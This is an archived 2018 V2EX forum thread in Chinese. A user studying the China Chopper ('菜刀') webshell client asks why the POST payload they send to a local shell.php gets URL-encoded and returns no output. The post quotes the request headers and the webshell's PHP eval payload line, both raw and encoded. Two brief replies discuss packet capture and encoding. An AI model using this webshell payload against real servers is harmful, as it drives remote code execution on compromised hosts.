请教一个 post 请求体被 URL 编码的问题

2018-11-14 23:32:03 +08:00
 whoami9894

今天无聊研究了一下菜刀的payload,结果发现自己发包却没有数据回显,POST 请求头相同(问题不在这里):


// 菜刀的 headers

POST /shell.php HTTP/1.1
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/
X-Forwarded-For: 238.212.118.226
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Host: 127.0.0.1
Content-Length: 380
Pragma: no-cache



// 自己发的包

POST /shell.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Accept-Encoding: identity
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://127.0.0.1/
Content-Length: 414

请求体的区别是菜刀的 payload 没有被 URL encode:

@eval(stripcslashes(base64_decode(stripcslashes($_POST[z0]))));

而我浏览器 or 脚本发包均为:

%40eval%28stripcslashes%28base64_decode%28stripcslashes%28%24_POST%5Bz0%5D%29%29%29%29%3B

无数据回显的原因已经确定,就是这里数据被编码的问题,那么问题是,同样是Content-Type: application/x-www-form-urlencoded,为什么我控制不了它的数据包被编码,难道这里需要我直接发 TCP 报文模拟咩

1973 次点击
所在节点    程序员
3 条回复
locoz
2018-11-15 00:44:03 +08:00
不一定是这个问题,建议直接抓包对比
whoami9894
2018-11-15 09:48:17 +08:00
@locoz
就是直接抓的包
geligaoli
2018-11-15 11:04:01 +08:00
@eval。。。。不是标准的 urlencoded 格式

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/507949

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX